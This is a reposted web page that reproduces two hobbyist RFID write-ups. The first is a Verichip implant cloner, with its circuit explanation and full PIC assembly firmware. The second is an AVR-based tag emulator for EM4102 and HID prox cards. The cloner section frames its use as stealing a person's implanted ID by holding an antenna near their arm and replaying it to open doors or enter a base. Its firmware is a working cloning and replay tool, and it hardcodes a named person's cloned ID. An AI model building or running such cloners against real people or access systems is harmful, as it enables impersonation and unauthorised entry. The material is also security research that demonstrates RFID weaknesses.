码迷,mamicode.com
首页 > 其他好文 > 详细

RFID 克隆/仿真/模拟/监控/拦截/检测/嗅探器

时间:2015-09-24 09:33:54      阅读:840      评论:0      收藏:0      [点我收藏+]

标签:

 Demo: Cloning a Verichip Yourself

技术分享

Download

I have:

技术分享

Theory of Operation

Please refer to the schematic.

It‘s important to remember that I designed this device for absolute minimum parts count and cost.

I therefore made some fairly disgusting tradeoffs. A lot of what I did is terrible design practice.

I had originally intended to use the PIC with an ER (external resistor) oscillator.

It‘s okay for the clock frequency to drift within a few percent, since the tag always synchronizes itself off the reader‘s clock.

It therefore seems like there‘s no reason to spend money on a crystal. This turns out not to be true, though.

The phase noise of the ER oscillator is terrible.

I ‘scoped the CLKOUT pin, with the oscillator running at 10 MHz (so CLKOUT is around 10/4 = 2.5 MHz),

and triggered off an edge of that square wave.

Using the delayed timebase, I looked at an edge about 100 us after the trigger point; it jitters over more than a period!

The frequency-selective antenna turns this phase noise into amplitude modulation, which raises the noise floor to a hopeless level.

I therefore cannot use the ER oscillator.

The INTRC oscillator is somewhat better, but does not divide well to produce 134 kHz (125 kHz or 143 kHz, large error).

This means that we need to use a crystal or a resonator; either will give good enough phase noise, and a resonator‘s cheaper.

I chose a 10 MHz ceramic resonator, for thirty-five cents.

The Verichip is designed to be read at 134 kHz, so we will divide our instruction clock by 19 to produce a 132 kHz carrier to transmit.

This isn‘t quite right, but it will be close enough.

When we are reading a legitimate Verichip (i.e., pretending to be a reader, to clone someone‘s implant),

the tag will derive its timing from the carrier that we transmit.

That means that it doesn‘t matter if we‘re a little bit off, because the tag will be off by that same amount.

When we are being read by a legitimate reader (i.e., pretending to be a tag, to pretend to be someone whose tag we‘ve already cloned),

we will derive our timing from the carrier that the reader transmits, which we measure through R9.

In `read‘ mode, we transmit the unmodulated carrier that powers the tag.

This means that we need a high-power output buffer to drive the antenna.

This is all very low-frequency, so a couple of general-purpose transistors (Q1, Q2) will do the job fine.

They are configured as emitter followers here, to buffer the carrier output by the PIC‘s GPIO pin.

The GPIO pin can only source or sink +/- 20 mA; the transistors that we are using are rated for 200 mA, although we won‘t run them quite that high.

The information-bearing signal returned from the tag appears in the voltage across C1,

but we first have to separate it out from the carrier that we are using to power the tag.

We do this with a peak detector, followed by a passive filter (D1, C3-5, R5-8).

This produces a signal that we interpret using the PIC‘s comparator.

I do this in a somewhat ugly way. The signal from the antenna is AC-coupled so that it has a mean of zero volts (with respect to ground).

I apply this to one input of the PIC‘s comparator; the other input of that comparator goes to ground, through the VREF module.

This means that I am applying an input voltage below Vss to the PIC, which is outside the recommended operation conditions.

It works very well, though. The only problem is if the signal from the tag gets very strong,

because the protection diodes will clamp it asymmetrically about ground, and move the decision point.

It‘s difficult to couple to the tag‘s antenna well enough for this to be a problem, so I‘m not very worried.

Since I don‘t know very much about the structure of the tag‘s ID,

it‘s difficult for me to come up with a good metric to determine whether I‘ve read a valid ID.

There is presumably a CRC or something, but I haven‘t bothered trying to figure it out;

I have only a very small number of tags to test against, so it would be difficult for me to test any theory that I might come up with.

Instead I just read the ID several times, and verify that it is the same each time.

The current firmware reads the ID once, and then checks it three times.

This is a parameter that you can play with; more verifications gives increased confidence in the ID,

but also makes it more likely that we will reject a valid read.

In `simulate‘ mode, we listen for a carrier from a reader, and change the load across the antenna in such a way as to transmit our ID.

We can change the load across the antenna by either driving or tri-stating RB3.

When we drive RB3 low, we short-circuit the coil through Q2.

When we tri-state RB3, it cannot supply any base current for either Q1 or Q2,

so no collector current flows, so the coil is open-circuited.

The only trick is that we must listen for the legitimate reader‘s incident carrier,

because that is what gives us our sense of time.

We do this through R9, once again using the PIC‘s comparator.

The resistor is necessary because the voltage at the antenna might be much larger than the PIC‘s Vdd = 4.5 V;

without the resistor, a very large current would flow through the protection diodes on that input pin and destroy the microcontroller.

R9 limits that current to a safe amount.

Some current does still flow through the protection diodes, though;

if R9 gets too small then we risk putting the PIC into latchup, which would be relatively bad.

Also, comparator 1 stops working if too much current flows into the substrate from RA0.

This is well outside the manufacturer‘s recommended operating conditions.

Without R6, the current through the coil would drop to zero when we tri-stated RB3,

which means that the current through C3 would drop to zero,

which means that the voltage across it would drop to zero and we would lose our sense of time.

As long as some current always flows, this isn‘t a problem.

The device has no on/off switch; this is achieved in software.

The PIC can be put to sleep (clock oscillator stopped, wake up on interrupt), dropping the micro‘s power consumption to almost nothing.

The LEDs must be turned off, and the coil must be driven low

(since the input buffer for RB3 might draw class A current if we float it, and R6 will draw current if we drive it high).

The PIC‘s comparators and VREF module should be turned off; o

therwise they burn about a hundred microamps.

With the software given below, battery standby life should be on the order of the shelf life of the cells.

Demo

To steal someone‘s Verichip: Press and release the white button.

The white light will turn on while we try to get a read. Hold the antenna very close to the bearer‘s arm;

if you know the orientation of the implanted tag, then try to hold your antenna parallel.

The green light will blink to indicate a successful read, and the cloner will exit `read mode.‘

Press the green button to exit `read‘ mode without a successful read.

技术分享

To replay the ID to a reader: hold the antenna close to the Verichip reader.

Press and hold the green button until the door opens (or they bring you a drink, or they let you in to the army base, etc.).

The green light will turn on for as long as you hold down the green button.

The cloner looks like the cloned Verichip only while the green switch is depressed;

the reader won‘t see you unless you‘re holding it down.

技术分享

If you‘ve got an ID that you would like to hold on to, then press the white button and then the green button,

and then release both (in either order). This will save the most recently-read ID to the PIC‘s non-volatile (EEPROM) memory.

The ID stored in EEPROM is loaded at power-on reset, so you can later recall this ID by removing and reinserting the batteries.

By default, the stored ID is Annalee Newitz‘s, number 47063.

The easiest way to archive an acquired ID (for later use, or to email to a friend, or whatever) is

to read out the PIC‘s EEPROM, using the in-circuit programming connector.

This can be saved as an IHEX file, or in any other format that your programming software supports.

When it comes time to reuse that ID, just program it into the PIC‘s EEPROM,

and it will be the first ID in memory after power-on reset.

The read range, when stealing someone‘s Verichip, is about an inch.

This isn‘t great, but probably enough to work with.

The official Verichip reader gives about four inches of read range, on axis and with fresh batteries.

I could presumably do as well or better, but that would require more than one IC,

and would therefore not be quite so cheap, or easy to build.

If anyone from Verichip makes an issue of this,

then I will design a `low-frequency range extension‘ board for my proxmark3, and see how far I can go.

;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;; An ultra-simple Verichip cloner: we can behave either as a reader (to
;; get the ID of a legitimate tag), or as a simulated tag (to replay the
;; stored ID to a legitimate reader).
;;
;; The hardware is relatively stupid; I‘ve made every compromise I could
;; think of to get the parts count down.
;;
;; This code is for MPASM 5.05, probably works with other versions though.
;;
;; Jonathan Westhues, Sep 2006
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
#include <p16f628.inc>

radix dec

;; leave BODEN off to get the standby battery life up (want a few years,
;; comparable to shelf life of the alkaline AAA cells)
__config _CP_OFF & _HS_OSC & _PWRTE_ON & _WDT_OFF & _BODEN_OFF & _LVP_OFF

;; GPIO pin assignments on PORTA
#define PORTA_READER_OUTPUT             0
#define PORTA_CARRIER_SENSE             1

;; GPIO pin assignments on PORTB
#define PORTB_LED_GREEN                 0
#define PORTB_LED_WHITE                 1
#define PORTB_DIVIDER_POWER             2
#define PORTB_COIL_DRIVER               3
#define PORTB_SWITCH_WHITE              4
#define PORTB_SWITCH_GREEN              5

;; Convenience macros for btfss/btfsc; I find these quicker to read.
ifset macro port, bit
    btfsc port, bit
endm
ifclear macro port, bit
    btfss port, bit
endm

;; Wrapper macros to manipulate the two LEDs on the board. Used only for
;; user interface, nothing special.
WhiteLedOn macro
    bcf     PORTB, PORTB_LED_WHITE
endm
WhiteLedOff macro
    bsf     PORTB, PORTB_LED_WHITE
endm
GreenLedOn macro
    bcf     PORTB, PORTB_LED_GREEN
endm
GreenLedOff macro
    bsf     PORTB, PORTB_LED_GREEN
endm

;; Macros for time delays (cycle-counted busy waits). These are only
;; approximate.
DebounceWait macro label
    movlw   60
    movwf   milliCount
label
    Wait1Millisecond
    decfsz  milliCount, f
    goto    label
endm
Wait1Millisecond macro
    clrf    microCount

    goto    $ + 1
    goto    $ + 1
    goto    $ + 1
    decfsz  microCount, f
    goto    $ - 4
endm

;; Wrappers macros to manipulate the PWM peripheral (Timer2/CCP), used to
;; divide the micro clock down to produce the transmitted carrier in
;; `reader‘ mode. We will use (10 MHz)/(4*(18+1)) = 132 kHz, for ~2%
;; error vs. desired 134 kHz, good enough.
TurnOnPwmPeripheral macro
    banksel PR2
    movlw   18
    movwf   PR2 ^ 0x80
    banksel CCPR1L
    movlw   9               ; Pwm duty cycle 50%
    movwf   CCPR1L
    movlw   0x0c            ; Pwm mode, MSBs clear 
    movwf   CCP1CON
    bsf     T2CON,      2   ; T2 on
endm
TurnOffPwmPeripheral macro
    clrf    CCP1CON
    bcf     T2CON,      2   ; T2 off
endm

;; Variables in Bank 0.
cblock 0x20
    microCount
    bitCount
    cardId:64
    milliCount
    cycleCount
    temp
    iterCount
endc

    org     0
Reset
    goto    Init

;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;; We get an interrupt whenever the user presses or releases a button with
;; interrupts on. The interrupt handler looks at the state of the pushbuttons,
;; and from this it jumps to the correct operating mode.
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
    org     4
Isr
    bcf     STATUS,     RP0
    bcf     INTCON,     RBIF

    DebounceWait l12

    ifclear PORTB,  PORTB_SWITCH_GREEN
    goto    switchGreenPressed

    ifclear PORTB,  PORTB_SWITCH_WHITE
    goto    switchWhitePressed

    ;; so neither is pressed, so go to sleep
    DebounceWait l6
    goto    SleepNSpin

;; White switch is for read mode. That mode is latched, and then exited with
;; a press of the green switch, so we must wait until they release the
;; white switch before entering that code.
switchWhitePressed
    WhiteLedOn
    DebounceWait    l0
awaitReleaseWhite
    ifclear PORTB,  PORTB_SWITCH_GREEN
    goto    bothSwitchesPressed
    ifclear PORTB,  PORTB_SWITCH_WHITE
    goto    awaitReleaseWhite

    DebounceWait    l1

    bcf     INTCON,     RBIF
    bsf     INTCON,     GIE     ;; can break us out by pressing any other button

    goto    GetIdFromCard

;; Green switch is for replay mode; that mode stays only as long as the
;; switch is held for, so jump straight in to that routine and let the edge
;; when the switch is released take us out.
switchGreenPressed

    WhiteLedOff
    GreenLedOn

    DebounceWait    l2

    bcf     INTCON, RBIF
    bsf     INTCON, GIE
    goto    TransmitCardId

;; Both switches means `load sample ID‘, in this case Annalee‘s. Then we
;; just wait for the button to be released, and go back to sleep.
bothSwitchesPressed
    WhiteLedOn
    GreenLedOn

    DebounceWait l3

awaitReleaseBoth
    ifclear PORTB,  PORTB_SWITCH_WHITE
    goto    awaitReleaseBoth
    ifclear PORTB,  PORTB_SWITCH_GREEN
    goto    awaitReleaseBoth

    DebounceWait l4

    goto    writeIdToEeprom

;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;; Where we end up after power-on. Load either a fixed ID from program
;; memory, or the ID that we have stored in EEPROM, and then go to sleep.
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
Init
;; load the stored ID from flash, or the one from the table if there‘s
;; none in flash
    
    bsf     STATUS, RP0
    clrf    EEADR ^ 0x80
    bsf     EECON1 ^ 0x80, RD
    movf    EEDATA ^ 0x80, w
    bcf     STATUS, RP0

    xorlw   0xff
    ifset   STATUS, Z
    goto    loadFixedId ; and this jumps to SleepNSpin when it‘s done

;; so there‘s a valid ID in there, somewhere; load it from flash
    
    movlw   cardId
    movwf   FSR
    movlw   64
    movwf   bitCount
    bsf     STATUS, RP0
    clrf    EEADR ^ 0x80
    bcf     STATUS, RP0
    
loadIdFromFlash
    bsf     STATUS, RP0
    bsf     EECON1 ^ 0x80, RD
    movf    EEDATA ^ 0x80, w
    incf    EEADR ^ 0x80, f
    bcf     STATUS, RP0

    movwf   INDF
    incf    FSR, f

    decfsz  bitCount, f
    goto    loadIdFromFlash

;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;; Go to sleep, and wait for an interrupt to wake us up. First we should power
;; down anything that might waste current, though.
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
SleepNSpin
    ; Turn on the pull-ups, which we need to operate the switches.
    banksel OPTION_REG
    bcf     OPTION_REG ^ 0x80, NOT_RBPU

    ; Switches are inputs, all others outputs on PORTB.
    banksel TRISB
    movlw   0x30
    movwf   TRISB ^ 0x80

    ; RA0 and RA1 are used as comparators, rest are unused, so drive them
    ; as outputs to avoid class A current in input buffers.
    movlw   0x03
    movwf   TRISA ^ 0x80

    banksel PORTB

    clrf    PORTA

    ; Configure comparators as off (since they draw 30 uA each, rather a
    ; lot of current).
    movlw   0x00
    movwf   CMCON

    ; Configure voltage reference as off (since it also draws current)
    banksel VRCON
    movlw   0x00
    movwf   VRCON ^ 0x80

    banksel PORTB
    ; Drive LEDs HIGH (off), coil driver LOW (don‘t waste current in R6),
    ; voltage divider LOW (don‘t waste current in that), programming pins
    ; (which are N/C in normal operation) LOW.
    movlw   0x03
    movwf   PORTB

    TurnOffPwmPeripheral
    
    ; ISR forces us out, so must turn on interrupts
    bsf     INTCON,     RBIE
    bcf     INTCON,     RBIF
    bsf     INTCON,     GIE

asleep
    sleep
    goto asleep

;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;; Routines to transmit an ID; basically we count incident carrier cycles
;; using the comparator on PORTA_CARRIER_SENSE, and from that we determine
;; our timing as we clock out the stored ID over and over.
;;
;; This routine does not return; it exits only as a result of an interrupt.
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;

TransmitCardId
    ; Set up Vref to ground, since the sensed carrier comes in AC-coupled
    ; about that point.
    banksel VRCON
    movlw   0xa0
    movwf   VRCON ^ 0x80

    ; Both comparators on, -inputs to RA0/RA1, +inputs to Vreg module
    banksel CMCON
    movlw   0x02
    movwf   CMCON

    ; Set the pin that drives the emitter followers LOW. The loop will touch
    ; only TRISB, not PORTB, so that pin will alternate between low impedance
    ; to ground and tri-state.
    bcf     PORTB, PORTB_COIL_DRIVER

spinTx

    movlw   64
    movwf   bitCount
    movlw   cardId
    movwf   FSR

replayNibble
variable i = 0
while i < 4

    ;; First, we wait for 16 incident carrier cycles
    movlw   16
    movwf   cycleCount

    ifset   CMCON, 7
    goto    $ - 1
    ifclear CMCON, 7
    goto    $ - 1
    decfsz  cycleCount, f
    goto    $ - 5

    ;; Then, we set the coil driver pin according to the ID stored in memory.
    bsf     STATUS, RP0
    bsf     TRISB ^ 0x80, PORTB_COIL_DRIVER
    ifclear INDF, i
    bcf     TRISB ^ 0x80, PORTB_COIL_DRIVER
    bcf     STATUS, RP0

variable i = i + 1
endw

    incf    FSR, f

    decfsz  bitCount, f
    goto    replayNibble

    goto spinTx

;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;; Routines to read the ID. We apply a ~134 kHz square wave to the coil driver
;; gates, using the PWM module to save ourselves the pain of counting
;; cycles. Then we wait for an edge after a long period of time, and we
;; assume that we just sync‘d on the ID so we receive it.
;;
;; This is prone to error, though, especially at startup, so we read the ID
;; again and compare it to the one that we recorded. If they don‘t match then
;; we throw the stored ID away and start over.
;;
;; This routine will return if it thinks that it has read an ID, or exit
;; due to an interrupt.
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;

GetIdFromCard
    ; Set up Vref to Vdd/2, since the sensed carrier comes in AC-coupled
    ; about that point.
    banksel VRCON
    movlw   0xa0
    movwf   VRCON ^ 0x80

    ; Both comparators on, -inputs to RA0/RA1, +inputs to Vreg module
    banksel CMCON
    movlw   0x02
    movwf   CMCON

    ; Let us minimize the substrate current injected through R9, by driving
    ; that pin as an output.
    banksel TRISA
    bcf     TRISA ^ 0x80, 1

    banksel PORTB
    bcf     PORTB,      PORTB_COIL_DRIVER
    TurnOnPwmPeripheral

    ; give the oscillator some time to settle (tuned circuit)
    DebounceWait l8

spinRx

    ; First, wait for an edge (any edge; we will replay the ID cyclically,
    ; so it doesn‘t matter where in the ID we get bit-sync).
awaitEdgeHigh
    ifclear CMCON, 6
    goto    awaitEdgeHigh

awaitEdgeLow
    ifset   CMCON, 6
    goto    awaitEdgeLow

    ; Now, delay a little while so that we will sample the bit at the centre
    ; of the bit time, not at the edge.
    movlw   60
    movwf   microCount
spinToMiddle
    decfsz  microCount, f
    goto    spinToMiddle

    ; Set up the area of memory in which we will store the ID.
    movlw   cardId
    movwf   FSR
    movlw   64
    movwf   bitCount

nextBit
    ; This loop is unrolled, to four iterations per jump; this is because
    ; we want to store 256 bits in 64 bytes, so we must use four iterations
variable i = 0
while i < 4
    bcf     INDF, i
    ifset   CMCON, 6
    bsf     INDF, i
    GreenLedOn
    GreenLedOff

    movlw   98
    movwf   microCount

    decfsz  microCount, f
    goto    $ - 1

    goto    $ + 1
variable i = i + 1
endw

    goto    $ + 1
    goto    $ + 1
    incf    FSR, f
    
    decfsz  bitCount, f
    goto    nextBit

    movlw   3
    movwf   iterCount
checkIdManyTimes

    ; Now we have the ID; but since we don‘t know how to check the CRC or
    ; anything like that, we need some way to determine whether we‘ve
    ; received a valid signal, or just noise. Do this by receiving the ID
    ; a second time.
    movlw   cardId
    movwf   FSR
    movlw   64
    movwf   bitCount

nextBitCheck
    ; This loop is unrolled, to four iterations per jump; this is because
    ; we have stored 256 bits in 64 bytes. Check each bit to see that it
    ; is the same that we received last time.
variable i = 0
while i < 4
    movlw   0
    ifset   CMCON, 6
    movlw   (1<<i)
    xorwf   INDF, w
    movwf   temp

    ifset   temp, i
    goto    spinRx

    nop

    movlw   97
    movwf   microCount

    decfsz  microCount, f
    goto    $ - 1

    goto    $ + 1
variable i = i + 1
endw

    goto    $ + 1
    goto    $ + 1
    incf    FSR, f
    
    decfsz  bitCount, f
    goto    nextBitCheck

    decfsz  iterCount, f
    goto    checkIdManyTimes

    ; We made it this far, so we got the same thing each time. For a further
    ; paranoia check, make sure that the signal could plausibly be the
    ; Manchester-type modulation that the Verichip uses.

    movlw   cardId
    movwf   FSR
    movlw   64
    movwf   bitCount
manchesterCheck
    movf    INDF, w
    andlw   0x0f
    movwf   temp
    ; so now temp = (cardId[64-bitCount] & 0x0f)

    ; sixteen possibilities, of which six can never happen:
    ;     0000 0001 0111 1000 1110 1111

    movlw   0x00
    xorwf   temp, w
    ifset   STATUS, Z
    goto    spinRx

    movlw   0x01
    xorwf   temp, w
    ifset   STATUS, Z
    goto    spinRx

    movlw   0x07
    xorwf   temp, w
    ifset   STATUS, Z
    goto    spinRx

    movlw   0x08
    xorwf   temp, w
    ifset   STATUS, Z
    goto    spinRx

    movlw   0x0e
    xorwf   temp, w
    ifset   STATUS, Z
    goto    spinRx

    movlw   0x0f
    xorwf   temp, w
    ifset   STATUS, Z
    goto    spinRx

    decfsz  bitCount, f
    goto    manchesterCheck

    ; If we made it this far, then the consistency check passed. Leave the
    ; ID stored in memory, blink the green LED to indicate success, and
    ; go back to sleep.

    WhiteLedOff
    movlw   5
    movwf   bitCount
blink
    GreenLedOn
    DebounceWait l7
    DebounceWait l11
    GreenLedOff
    DebounceWait l9
    DebounceWait l10

    decfsz  bitCount, f
    goto    blink

    ; If the two IDs agree, then it‘s probably a valid read, so we leave
    ; it stored in RAM and go to sleep.
    goto   SleepNSpin

;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;; In case someone has a Verichip reader but no chip to clone, they can
;; still do a demo by replaying a previously-cloned chip‘s ID. I read this
;; one with a proxmark3, and used `vchdemod clone‘ to store that in a
;; .tr file. A perl script converts the .tr file into a table that can be
;; included inline here.
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
loadFixedId
;; this is #included in my build process, but it seemed easier to distribute
;; just one file so I‘ve cut-and-paste inlined it here
;; {{BEGIN CUT-AND-PASTED MATERIAL
; Autogenerated include by tr2asm.pl, from in.tr
    movlw   3
    movwf   (cardId+0)
    movlw   3
    movwf   (cardId+1)
    movlw   3
    movwf   (cardId+2)
    movlw   3
    movwf   (cardId+3)
    movlw   3
    movwf   (cardId+4)
    movlw   11
    movwf   (cardId+5)
    movlw   10
    movwf   (cardId+6)
    movlw   10
    movwf   (cardId+7)
    movlw   10
    movwf   (cardId+8)
    movlw   2
    movwf   (cardId+9)
    movlw   5
    movwf   (cardId+10)
    movlw   5
    movwf   (cardId+11)
    movlw   5
    movwf   (cardId+12)
    movlw   13
    movwf   (cardId+13)
    movlw   12
    movwf   (cardId+14)
    movlw   12
    movwf   (cardId+15)
    movlw   12
    movwf   (cardId+16)
    movlw   4
    movwf   (cardId+17)
    movlw   3
    movwf   (cardId+18)
    movlw   11
    movwf   (cardId+19)
    movlw   10
    movwf   (cardId+20)
    movlw   4
    movwf   (cardId+21)
    movlw   13
    movwf   (cardId+22)
    movlw   4
    movwf   (cardId+23)
    movlw   5
    movwf   (cardId+24)
    movlw   5
    movwf   (cardId+25)
    movlw   5
    movwf   (cardId+26)
    movlw   13
    movwf   (cardId+27)
    movlw   10
    movwf   (cardId+28)
    movlw   10
    movwf   (cardId+29)
    movlw   10
    movwf   (cardId+30)
    movlw   10
    movwf   (cardId+31)
    movlw   4
    movwf   (cardId+32)
    movlw   5
    movwf   (cardId+33)
    movlw   5
    movwf   (cardId+34)
    movlw   5
    movwf   (cardId+35)
    movlw   13
    movwf   (cardId+36)
    movlw   10
    movwf   (cardId+37)
    movlw   10
    movwf   (cardId+38)
    movlw   10
    movwf   (cardId+39)
    movlw   10
    movwf   (cardId+40)
    movlw   10
    movwf   (cardId+41)
    movlw   12
    movwf   (cardId+42)
    movlw   12
    movwf   (cardId+43)
    movlw   2
    movwf   (cardId+44)
    movlw   13
    movwf   (cardId+45)
    movlw   12
    movwf   (cardId+46)
    movlw   12
    movwf   (cardId+47)
    movlw   4
    movwf   (cardId+48)
    movlw   3
    movwf   (cardId+49)
    movlw   13
    movwf   (cardId+50)
    movlw   4
    movwf   (cardId+51)
    movlw   5
    movwf   (cardId+52)
    movlw   5
    movwf   (cardId+53)
    movlw   5
    movwf   (cardId+54)
    movlw   13
    movwf   (cardId+55)
    movlw   10
    movwf   (cardId+56)
    movlw   10
    movwf   (cardId+57)
    movlw   10
    movwf   (cardId+58)
    movlw   10
    movwf   (cardId+59)
    movlw   4
    movwf   (cardId+60)
    movlw   5
    movwf   (cardId+61)
    movlw   5
    movwf   (cardId+62)
    movlw   5
    movwf   (cardId+63)
;; END CUT-AND-PASTED MATERIAL}}
    goto    SleepNSpin

;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;; Write the ID from RAM to flash; presumably this is one that we wish to
;; hold on to. That means that this ID will be loaded by default on power-
;; on reset, so we can always get it back, even if we clone other tags
;; later.
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
writeIdToEeprom
    movlw   64
    movwf   bitCount

    movlw   cardId
    movwf   FSR

    bsf     STATUS, RP0
    clrf    EEADR ^ 0x80
    bcf     STATUS, RP0

writeByteToEeprom
    ; load the byte to be written into W
    movf    INDF, w

    bsf     STATUS, RP0

    ; write W to EEADR
    movwf   EEDATA ^ 0x80
    bsf     EECON1 ^ 0x80, WREN
    movlw   0x55
    movwf   EECON2 ^ 0x80
    movlw   0xaa
    movwf   EECON2 ^ 0x80
    bsf     EECON1 ^ 0x80, WR
    ifset   EECON1 ^ 0x80, WR
    goto    $ - 1

    ; increment write position in EEPROM
    incf    EEADR ^ 0x80, f

    bcf     STATUS, RP0
    
    ; increment read position in RAM
    incf    FSR, f

    decfsz  bitCount, f
    goto    writeByteToEeprom

    bsf     STATUS, RP0
    bcf     EECON1 ^ 0x80, WREN
    bcf     STATUS, RP0

    goto    SleepNSpin

end

USING AN AVR AS AN RFID TAG

技术分享技术分享

技术分享

 

技术分享

Experiments in RFID, continued…

Last time, I posted an ultra-simple “from scratch” RFID reader, which uses no application-specific components: just a Propeller microcontroller and a few passive components. This time, I tried the opposite: building an RFID tag using no application-specific parts.

Well, my solution is full of dirty tricks, but the results aren’t half bad. I used an Atmel AVR microcontroller (the ATtiny85) and a coil. That’s it. You can optionally add a couple of capacitors to improve performance with some types of coils, but with this method it’s possible to build a working RFID tag just by soldering a small inductor to an AVR chip:

The above prototype emulates an EM4102-style tag- a very popular style of low-frequency RFID tag which stores a 40-bit unique ID. I can read my bogus ID value (0x12345678AB) using Parallax’s RFID reader. Below is another prototype, with a larger coil and a couple of capacitors for added range and stability. It is programmed to emulate a HID prox card, a simple FSK-modulated tag with a 44-bit payload. I can read this card successfully with my garage door opener. This one is a little large to conveniently carry around, but a smaller AVR package should help.

技术分享

技术分享

So, the shiny electrical tape is beautiful, but how does this thing even work? The power pins on the microcontroller aren’t even connected!

As I said, this makes use of several dirty tricks:

  • The coil actually powers the AVR through two of its I/O pins. Nearly every chip out there has clamping diodes on its I/O pins, which prevent voltages on that pin from rising above the chip’s supply voltage or sinking below ground. These diodes are useful for arresting static discharge.When you first hold the RFID tag up to a reader, the chip has no power- the supply voltage is zero. When the coil starts to pick up power from the RFID reader, these two I/O pins are presented with a sine wave, a few volts in amplitude. Anywhere that sine wave exceeds the supply voltage, some energy is diverted from the coil to the chip’s supply rails, via the clamping diode. The end result is that the chip is powered, and the coil’s sine wave is truncated. The top and bottom of the sine have been chopped off, and it looks a lot more like a square wave now.
  • Power filtering using the AVR’s die capacitance. In the smaller prototype, there is no power filtering capacitor at all. In fact, the power is filtered by the internal capacitance of the power planes in the AVR’s silicon die. This isn’t much, but it makes the power supply stable enough that we can execute code even though the supply is pulsing at 125 kHz.
  • Very low voltage operation. This particular ATtiny85 chip is specified for operation at voltages as low as 2.5v. The extended voltage range version (I didn’t have any of these handy) is specified down to 1.8v. But I’m running these AVRs at barely over 1 volt. At these voltages, the normal AVR clock oscillators don’t work- but I can get away with this because of the next hack…
  • The coil is the AVR’s clock source. The inductor isn’t just hooked up to any I/O pin: it’s actually connected to the AVR’s clock input. Remember the square-ish wave we’re left with after the clamping diodes suck away some power? That waveform is now our clock input. The microcontroller is executing code at 125 kHz, in lockstep with the RFID reader’s carrier wave.
  • Firmware? What firmware? At such low speeds, the chip’s firmware looks less like a program, and more like a sequence of I/O operations to perform in sync with each carrier clock cycle. There aren’t a lot of cycles to spare. In the EM4102 protocol, you could potentially do some useful work with the 32 clock cycles you have between each bit. With the HID protocol, though, you need to output an FSK edge as often as once every 4 clock cycles. As a result, the firmware on the RFID tag is extremely dumb. The “source code” is really just a set of fancy assembler macros which convert an RFID tag code into a long sequence of I/O instructions.

The fact that this thing works at all is quite a testament to the robust design of the AVR. The latest AVRFID source is in Subversion, as usual.

/*
 * Software-only implementation of a passive low-frequency RFID tag,
 * using an AVR microcontroller.
 *
 * Version 1.1, 2010-06-15
 *
 * Copyright (c) 2008-2010 Micah Dowty <micah@navi.cx>
 * See end of file for license terms. (BSD style)
 * Improved HID modulation contributed by Luke Koops <luke.koops@gmail.com>
 * HID parity bit support contributed by Cesar Fernandez <cex123@gmail.com>
 *
 * Supports EM4102-style tags, and the HID 125 kHz prox card protocol.
 * The card format and ID number are set below, with #defines.
 *
 * Basic schematic:
 *
 *              ATtiny85
 *              +--------------+
 *            --| RST      Vcc |--
 *    +- L1 ----| B3/CLKI  SCK |--
 *    +---------| B4      MISO |--
 *            --| GND     MOSI |--
 *              +--------------+
 *
 * L1 is about 1 mH. It and the AVR are the only components.
 * All other pins should be unconnected.
 *
 * AVR notes:
 *
 *   - Low-voltage parts are better, but I‘ve had success using
 *     this with the non-extended voltage range parts as well.
 *
 *   - Program the fuses for an external clock with no divider.
 *     On the ATtiny85, this means setting lfuse to 0xC0.
 *     Note that after you set this fuse, your programmer will
 *     need to supply a clock on pin 2 for subsequent programming
 *     operations.
 *
 * Optional parts:
 *
 *   - Power decoupling capacitor, between 0.1 and 10uF.
 *     Bigger is generally better, as it will increase the
 *     usable range- but if you use this tag with readers that
 *     have a pulsed carrier wave, bigger caps may take too long
 *     to charge.
 *
 *   - A load capacitor, in parallel with L1. This will depend
 *     on your coil. For physically small coils, the internal
 *     capacitance of the AVR seems to be enough. For larger coils,
 *     it may be necessary to use a cap here. Experiment to find the
 *     best value. 
 *
 *   - A header, for in-circuit programming. You‘ll need to expose nearly
 *     every pin on the chip, since the AVR will also need an external
 *     clock.
 *
 *   - If you want to make an active (powered) tag, you could hook a 3V
 *     battery up to the Vcc and GND pins on the AVR. To decrease the power
 *     usage when idle, you may want to hook a large (a couple megohm)
 *     pull-down resistor to the clock input, to be sure CLKI doesn‘t float
